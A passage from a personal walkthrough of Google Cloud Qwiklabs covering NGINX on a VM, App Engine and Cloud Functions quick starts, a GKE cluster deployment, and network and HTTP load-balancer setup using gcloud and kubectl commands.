![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FW1ChISlXKgKc8t0Snoq5%2Fimage.png?alt=media\&token=b0bbaae8-1334-42a5-8eed-701334407d37)

Create a VM Instance with the specs below.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F99fDLLAEvUmio5WtcHP6%2Fimage.png?alt=media\&token=878e59e4-b58c-438a-a5a2-0a5fa9028261)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F0j6f9XsUA1wkHtDwcVYS%2Fimage.png?alt=media\&token=31b11dfc-1fbe-4fc6-8dd7-ba9b33639cac)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FdMU2gH2ThXCXWIU0ii3N%2Fimage.png?alt=media\&token=20e09a70-0485-444a-982a-6d0f271b65cc)

Once the VM spawns, it will look like the following. Hit the SSH button to continue configuring it if needed.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2Fz15jKSDiRarESarWecDx%2Fimage.png?alt=media\&token=e1c2a9c6-9193-4424-9b06-6bacc2a480a7)

## Installing NGINX web server

This is pretty straight forward

```
sudo su -
apt-get update
apt-get install nginx -y
```

Confirm that its successfully installed, up and running.

```
ps auwx | grep nginx
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2Fb9UXlPZycU86GS2ocUtH%2Fimage.png?alt=media\&token=5af512f4-be0b-4ca6-a1ce-0bccb3b8ad54)

We are able to see that root is running the NGINX service. We can also confirm this by heading over to the VMs public IP via a web browser as shown below.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FlREUOPTH5dE39pNlzRG3%2Fimage.png?alt=media\&token=d5bb5f1d-2d9f-45ac-b685-ca63c45051c3)


# App Engine: Qwik Start - Python

LAB 3

## Overview

App Engine allows developers to focus on doing what they do best, writing code. The App Engine standard environment is based on container instances running on Google's infrastructure. Containers are preconfigured with one of several available runtimes (Java 7, Java 8, Python 2.7, Go and PHP). Each runtime also includes libraries that support [App Engine Standard APIs](https://cloud.google.com/appengine/docs/about-the-standard-environment#index_of_features). For many applications, the standard environment runtimes and libraries might be all you need.

## Lab

### Enable Google App Engine Admin API

To begin, enable the App Engine Admin API under `APIs & Services`.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FdwnOXSUyEyylDhkcSpcS%2Fimage.png?alt=media\&token=6eb07779-7054-4082-8d96-828d13244611)

### Download the Hello World app <a href="#step5" id="step5"></a>

Enter the following command to clone the hello world app

```
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FHotmUcY61rL6mMWa9IOZ%2Fimage.png?alt=media\&token=f94e13f0-2e53-4e09-aa4c-c804a1e37476)

### Test the application <a href="#step6" id="step6"></a>

Now that the application is on the system, change to its directory and run it as shown below

```
cd python-docs-samples/appengine/standard_python3/hello_world
dev_appserver.py app.yaml
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2Fh0wnB2U9fw3jxfPxzHs1%2Fimage.png?alt=media\&token=23b2b53d-838e-41c0-bf34-794d036b8d7d)

Now that the app is up and running, view it on port 8080 as shown below.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FHolHf4FaVqJ9CIlEFmQG%2Fimage.png?alt=media\&token=c90050ef-672c-4763-8e13-81271a55f024)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FrJXxY3tg1SGlf0NwY5Mw%2Fimage.png?alt=media\&token=48324943-1b55-4f2b-be4b-23947531437c)

### Modify Application

Modify the application and make it return something else.

```
cd python-docs-samples/appengine/standard_python3/hello_world
nano main.py
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FvjAYxRiOSneU0ZPWO2dF%2Fimage.png?alt=media\&token=7648b025-45db-48da-bc29-695e350de9e9)

Once completed, head back to the site and preview the change.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FZGNo1Wmpapre15YJlLr5%2Fimage.png?alt=media\&token=04378476-299a-49b9-ae2f-e50a0984e3f0)

### Deploying Application

Now that we are happy with the changes, we can deploy the app to gcloud without much struggle as shown below.

The following command has to be run in the same directory where the `app.yaml` file exists.

```
gcloud app deploy
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FJZ0OcxQjSLuewqjyU5kq%2Fimage.png?alt=media\&token=69ff6763-1bf6-465a-bd56-8c2b4340dc62)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FM5VNFY4fK7rfZP7ZEByC%2Fimage.png?alt=media\&token=6c009b54-a86c-457b-b043-6986f4080401)

### Viewing your Application

Now that its all complete, we can view our application with the following command

```
gcloud app browse
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FKR1IF7JUlYSweVpZLhbQ%2Fimage.png?alt=media\&token=29755f7e-619c-4578-b5e4-21d9c8de61a9)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FiNx6O0He8GVsPg14lRGE%2Fimage.png?alt=media\&token=7a0ed27c-98d7-4017-a3c7-1afe23d90f5d)


# Cloud Functions: Qwik Start - Command Line

LAB 4

## Overview

Cloud Functions is a serverless execution environment for building and connecting cloud services. With Cloud Functions you write simple, single-purpose functions that are attached to events emitted from your cloud infrastructure and services. Your Cloud Function is triggered when an event being watched is fired. Your code executes in a fully managed environment. There is no need to provision any infrastructure or worry about managing any servers.

## Lab

### Create a Function

create a simple function named helloWorld which writes a message to the Cloud Functions logs. It is triggered by cloud function events and accepts a callback function used to signal completion of the function.

> For this lab the cloud function event is a cloud pub/sub topic event. A pub/sub is a messaging service where the senders of messages are decoupled from the receivers of messages. When a message is sent or posted, a subscription is required for a receiver to be alerted and receive the message. For more information about pub/subs, see [Google Cloud Pub/Sub: A Google-Scale Messaging Service](https://cloud.google.com/pubsub/architecture).

First create a directory, move into it and create an `index.js` file.

```
mkdir gcf_hello_world
cd gcf_hello_world
touch index.js
```

Then, enter the following into the file.

```
/**
* Background Cloud Function to be triggered by Pub/Sub.
* This function is exported by index.js, and executed when
* the trigger topic receives a message.
*
* @param {object} data The event payload.
* @param {object} context The event metadata.
*/
exports.helloWorld = (data, context) => {
const pubSubMessage = data;
const name = pubSubMessage.data
    ? Buffer.from(pubSubMessage.data, 'base64').toString() : "Hello World";
console.log(`My Cloud Function: ${name}`);
};
```

### Create a cloud storage Bucket

The following command creates a new bucket.

```
gsutil mb -p [PROJECT_ID] gs://[BUCKET_NAME]

gsutil mb -p qwiklabs-gcp-00-5cd73182d144 gs://neewashere
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FpLITxgtGtHVHsbqkNEqZ%2Fimage.png?alt=media\&token=0da787dd-3f76-47dc-9e9a-a10b887235e8)

### Deploy the Function

When deploying a new function, you must specify `--trigger-topic`, `--trigger-bucket`, or `--trigger-http`.&#x20;

```
gcloud functions deploy helloWorld \
  --stage-bucket [BUCKET_NAME] \
  --trigger-topic hello_world \
  --runtime nodejs8
  
  gcloud functions deploy helloWorld \
  --stage-bucket neewashere \
  --trigger-topic hello_world \
  --runtime nodejs8
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FpOWAiscDSPct8LWFD5cq%2Fimage.png?alt=media\&token=c52ad173-38ae-425c-8240-4460f199749d)

Verify the status of the function:

```
gcloud functions describe helloWorld
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FXDemLaWYTxnVgWXARJ7n%2Fimage.png?alt=media\&token=14a35e54-3744-4e46-9d66-4024450abe92)

### Test the Function

Enter the following command to create a message test of the function

```
DATA=$(printf 'Hello World! Neewashere'|base64) && gcloud functions call helloWorld --data '{"data":"'$DATA'"}'
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F0CQh4XHMGE0Rg3qqf5I2%2Fimage.png?alt=media\&token=1c85d34f-7ddf-432c-a10a-96e15406e150)

### View Logs

Check the logs to see your messages in the log history with the following command

```
gcloud functions logs read helloWorld
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FOpTiqQWjRu6LPh1cSiSi%2Fimage.png?alt=media\&token=3ce8667e-e1ab-4e66-8b4d-c570b933ca78)


# Kubernetes Engine: Qwik Start

LAB 5

## Overview

[Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine/) (GKE) provides a managed environment for deploying, managing, and scaling your containerized applications using Google infrastructure. The Kubernetes Engine environment consists of multiple machines (specifically [Compute Engine](https://cloud.google.com/compute) instances) grouped to form a [container cluster](https://cloud.google.com/kubernetes-engine/docs/concepts/cluster-architecture). In this lab, you get hands-on practice with container creation and application deployment with GKE.

## Lab

### Set a default compute zone <a href="#step4" id="step4"></a>

Select [your zone](https://cloud.google.com/compute/docs/regions-zones/#available) wisely! Enter the following command to set your zone!

```
gcloud config set compute/zone asia-southeast1-a
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F4gYxW65nXVxIpWzz4FkE%2Fimage.png?alt=media\&token=fb7f3d50-a5fd-4783-acb5-1b52a6e90477)

### Creating a GKE Cluster

A [cluster](https://cloud.google.com/kubernetes-engine/docs/concepts/cluster-architecture) consists of at least one **cluster master** machine and multiple worker machines called **nodes**. Nodes are [Compute Engine virtual machine (VM) instances](https://cloud.google.com/compute/docs/instances/) that run the Kubernetes processes necessary to make them part of the cluster.

Enter the following command to create a cluster.

```
gcloud container clusters create neeishere
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FnaIeCPj9dCVWN5Xn1nRb%2Fimage.png?alt=media\&token=4ffee5a5-ee8b-4a57-b76b-a4846b18a2ee)

### Get authentication credentials for the cluster <a href="#step6" id="step6"></a>

```
gcloud container clusters get-credentials [CLUSTER-NAME]
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FgfMNeZr1qyhjKALmlxOh%2Fimage.png?alt=media\&token=10fa13bf-0770-43a7-8fae-d7e3d2d2ad74)

### Deploy an application to the cluster <a href="#step7" id="step7"></a>

Deploying a test application as shown below.

```
kubectl create deployment hello-server --image=gcr.io/google-samples/hello-app:1.0
```

Creating a Kubernetes Service which lets us expose our application to external traffic:

```
kubectl expose deployment hello-server --type=LoadBalancer --port 8080
```

* `--port` specifies the port that the container exposes.
* `type="LoadBalancer"` creates a Compute Engine load balancer for your container.

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FAgx7f8urkO5ZMBn66hkl%2Fimage.png?alt=media\&token=5a159cce-bc19-4bee-bc50-4c8a02c82f20)

Inspect Service as shown below to get the public IP:

```
kubectl get service
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FR8J7snhv7JX2E2BB7s66%2Fimage.png?alt=media\&token=75cad5e6-bead-45e9-854b-3032f08fe8d4)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F49MrsJ3F89V2oEhAnt4z%2Fimage.png?alt=media\&token=ca900c85-2dc4-4967-bc9d-810b3ffccf4b)

### Deleting the cluster <a href="#step8" id="step8"></a>

```
gcloud container clusters delete neeishere
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FtNzrCz9QoN8lKvnfPmqd%2Fimage.png?alt=media\&token=5f261c5e-9830-4a87-bed7-0762be8c771a)


# Set Up Network and HTTP Load Balancers

LAB 6

## Overview

In this hands-on lab you'll learn the differences between a network load balancer and an HTTP load balancer and how to set them up for your applications running on Compute Engine virtual machines (VMs).

There are several ways you can [load balance on Google Cloud](https://cloud.google.com/load-balancing/docs/load-balancing-overview#a_closer_look_at_cloud_load_balancers). This lab takes you through the set up of the following load balancers:

* [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/)
* [HTTP(s) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/)

## Lab

### Set the default region and zone for all resources <a href="#step4" id="step4"></a>

with the following command:

```
gcloud config set compute/zone us-central1-a
gcloud config set compute/region us-central1
```

### Create multiple web server instances <a href="#step5" id="step5"></a>

Create 2 new VMs in your default zone

```
gcloud compute instances create www1 \
  --image-family debian-9 \
  --image-project debian-cloud \
  --zone us-central1-a \
  --tags network-lb-tag \
  --metadata startup-script="#! /bin/bash
    sudo apt-get update
    sudo apt-get install apache2 -y
    sudo service apache2 restart
    echo '<!doctype html><html><body><h1>www1</h1></body></html>' | tee /var/www/html/index.html"
```

```
gcloud compute instances create www2 \
  --image-family debian-9 \
  --image-project debian-cloud \
  --zone us-central1-a \
  --tags network-lb-tag \
  --metadata startup-script="#! /bin/bash
    sudo apt-get update
    sudo apt-get install apache2 -y
    sudo service apache2 restart
    echo '<!doctype html><html><body><h1>www2</h1></body></html>' | tee /var/www/html/index.html"
```

```
gcloud compute instances create www3 \
  --image-family debian-9 \
  --image-project debian-cloud \
  --zone us-central1-a \
  --tags network-lb-tag \
  --metadata startup-script="#! /bin/bash
    sudo apt-get update
    sudo apt-get install apache2 -y
    sudo service apache2 restart
    echo '<!doctype html><html><body><h1>www3</h1></body></html>' | tee /var/www/html/index.html"
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FEl1NQpvzEtz5nUlaY3VB%2Fimage.png?alt=media\&token=0ebf5f64-81cb-42a0-a2d8-b375c3b9940e)

Create a firewall rule to allow external traffic to the VM instances:

```
gcloud compute firewall-rules create www-firewall-network-lb
--target-tags network-lb-tag --allow tcp:80
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FvtgZ16vakBMLXl0n5YcX%2Fimage.png?alt=media\&token=02328f2c-603d-41a3-a815-f7c4bc073652)

Run the following command to list IPs of all instances:

```
gcloud compute instances list
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FCqfdIcks73tmqwpfo0E9%2Fimage.png?alt=media\&token=eb349560-af2e-42e4-b43d-482f8d715a2b)

### Configure the load balancing service <a href="#step6" id="step6"></a>

Create a static external IP address for your load balancer:

```
gcloud compute addresses create network-lb-ip-1 --region us-central1
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FkVFS91JkoqF0xfNoIBWI%2Fimage.png?alt=media\&token=e25b88e3-47ac-4aef-88ad-5810eabd5702)

Add a legacy HTTP health check resource:

```
gcloud compute http-health-checks create basic-check
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FMFqSLAknDO9LU7afmrQi%2Fimage.png?alt=media\&token=60458e6d-645d-410e-a57f-d185499e605c)

Add a target pool in the same region as your instances. Run the following to create the target pool and use the health check, which is required for the service to function:

```
gcloud compute target-pools create www-pool \
    --region us-central1 --http-health-check basic-check

```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F5lzczv2u979TSwJtpzw0%2Fimage.png?alt=media\&token=e5cffca6-8f92-45df-8f67-c6930af6e4cb)

Add the instances to the pool:

```
gcloud compute target-pools add-instances www-pool \
    --instances www1,www2,www3

```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F1iBs9X0YB6bXaNzKqW64%2Fimage.png?alt=media\&token=e47e8ae0-35c8-4a71-a072-bd40a32a8dac)

Add a forwarding rule:

```
gcloud compute forwarding-rules create www-rule \
    --region us-central1 \
    --ports 80 \
    --address network-lb-ip-1 \
    --target-pool www-pool
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FpOaWghPoiG45BlRakkCq%2Fimage.png?alt=media\&token=b6cc70c9-cab4-4cf9-9718-87942343da01)

### Sending traffic to your instances <a href="#step7" id="step7"></a>

Enter the following command to view the external IP address of the www-rule forwarding rule used by the load balancer:

```
gcloud compute forwarding-rules describe www-rule --region us-central1
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FLkYYv2BerN1osYDV26Td%2Fimage.png?alt=media\&token=7fb94d0c-6d4f-4620-ae6b-17eec99bb5a2)

We can see below that every time the resource is requested, we get a response from a different server!

```
while true; do curl -m1 34.121.197.56; done
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FiIqBBvxCOr5vptwFiOIO%2Fimage.png?alt=media\&token=4d4633dc-47f6-4e6d-bd49-55cc2adf2392)

### Create an HTTP load balancer <a href="#step8" id="step8"></a>

> HTTP(S) Load Balancing is implemented on Google Front End (GFE). GFEs are distributed globally and operate together using Google's global network and control plane. You can configure URL rules to route some URLs to one set of instances and route other URLs to other instances. Requests are always routed to the instance group that is closest to the user, if that group has enough capacity and is appropriate for the request. If the closest group does not have enough capacity, the request is sent to the closest group that *does* have capacity.<br>
>
> To set up a load balancer with a Compute Engine backend, your VMs need to be in an instance group. The managed instance group provides VMs running the backend servers of an external HTTP load balancer. For this lab, backends serve their own hostnames.

create the load balancer template with the following command:

```
gcloud compute instance-templates create lb-backend-template \
   --region=us-central1 \
   --network=default \
   --subnet=default \
   --tags=allow-health-check \
   --image-family=debian-9 \
   --image-project=debian-cloud \
   --metadata=startup-script='#! /bin/bash
     apt-get update
     apt-get install apache2 -y
     a2ensite default-ssl
     a2enmod ssl
     vm_hostname="$(curl -H "Metadata-Flavor:Google" \
     http://169.254.169.254/computeMetadata/v1/instance/name)"
     echo "Page served from: $vm_hostname" | \
     tee /var/www/html/index.html
     systemctl restart apache2'
```

Create a managed instance group based on the template.

> [Managed instance groups](https://cloud.google.com/compute/docs/instance-groups) (MIGs) let you operate apps on multiple identical VMs. You can make your workloads scalable and highly available by taking advantage of automated MIG services, including: autoscaling, autohealing, regional (multiple zone) deployment, and automatic updating

```
gcloud compute instance-groups managed create lb-backend-group \
   --template=lb-backend-template --size=2 --zone=us-central1-a
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FaitDhn1jwLLkvd3drqgx%2Fimage.png?alt=media\&token=7b42c559-65cf-4f7f-a865-9f2d5058d802)

Create the `fw-allow-health-check` firewall rule.

> This is an ingress rule that allows traffic from the Google Cloud health checking systems (`130.211.0.0/22` and `35.191.0.0/16`). This lab uses the target tag `allow-health-check` to identify the VMs.

```
gcloud compute firewall-rules create fw-allow-health-check \
    --network=default \
    --action=allow \
    --direction=ingress \
    --source-ranges=130.211.0.0/22,35.191.0.0/16 \
    --target-tags=allow-health-check \
    --rules=tcp:80
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F9zhq01hd2ema3giVhmPd%2Fimage.png?alt=media\&token=43075db1-f78b-4939-91ea-efb9296ebc90)

Set up a global static external IP address that people can use to reach your load balancer and take note of it:

```
gcloud compute addresses create lb-ipv4-1 \
    --ip-version=IPV4 \
    --global
    
gcloud compute addresses describe lb-ipv4-1 \
    --format="get(address)" \
    --global
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FGAf18w8wyUUK7hI44Mn3%2Fimage.png?alt=media\&token=e3be9798-755e-45a5-b33c-0dfb1d78b034)

Create a health check for the load balancer:

```
gcloud compute health-checks create http http-basic-check \
    --port 80
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2F4F6qssvbMqDFlU4pkLyc%2Fimage.png?alt=media\&token=2dd962c0-a9ca-40c9-98d5-2d0e6c83587d)

Create a backend service:

```
gcloud compute backend-services create web-backend-service \
    --protocol=HTTP \
    --port-name=http \
    --health-checks=http-basic-check \
    --global
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FufRkaczNIMAdepXno5fg%2Fimage.png?alt=media\&token=b3d81ae7-63d0-4e60-9e5a-e4b315d41adf)

Add your instance group as the backend to the backend service:

```
gcloud compute backend-services add-backend web-backend-service \
    --instance-group=lb-backend-group \
    --instance-group-zone=us-central1-a \
    --global
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2Fsbs2koowizqkDtsEkubn%2Fimage.png?alt=media\&token=fc799776-4eb5-4e8e-adae-2c7673920f89)

Create a [URL map](https://cloud.google.com/load-balancing/docs/url-map-concepts) to route the incoming requests to the default backend service:

```
gcloud compute url-maps create web-map-http \
    --default-service web-backend-service
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FNaBF9MsDxZsjnuTXpHth%2Fimage.png?alt=media\&token=0596e6b9-57e6-493a-91e9-87bb3203c70b)

Create a target HTTP proxy to route requests to your URL map & Create a global forwarding rule to route incoming requests to the proxy:

```
gcloud compute target-http-proxies create http-lb-proxy \
    --url-map web-map-http

gcloud compute forwarding-rules create http-content-rule \
    --address=lb-ipv4-1\
    --global \
    --target-http-proxy=http-lb-proxy \
    --ports=80
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FYssN1xMfj0AQ5nxDxaVx%2Fimage.png?alt=media\&token=dc1cc788-b06a-47fe-b608-67cab4533e33)

Visiting the static public IP we took note of earlier returns a page with the backend group that the page is being served from as shown below!

<http://34.149.196.121/>

![The page shown above is dead if you're seeing it.](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MdOcy1ba9EGn2GQ7ELK%2Fuploads%2FanBy4WZiafh6foWQa88f%2Fimage.png?alt=media\&token=3bbd6620-ef44-4c7d-bc39-db6e96bdb5d6)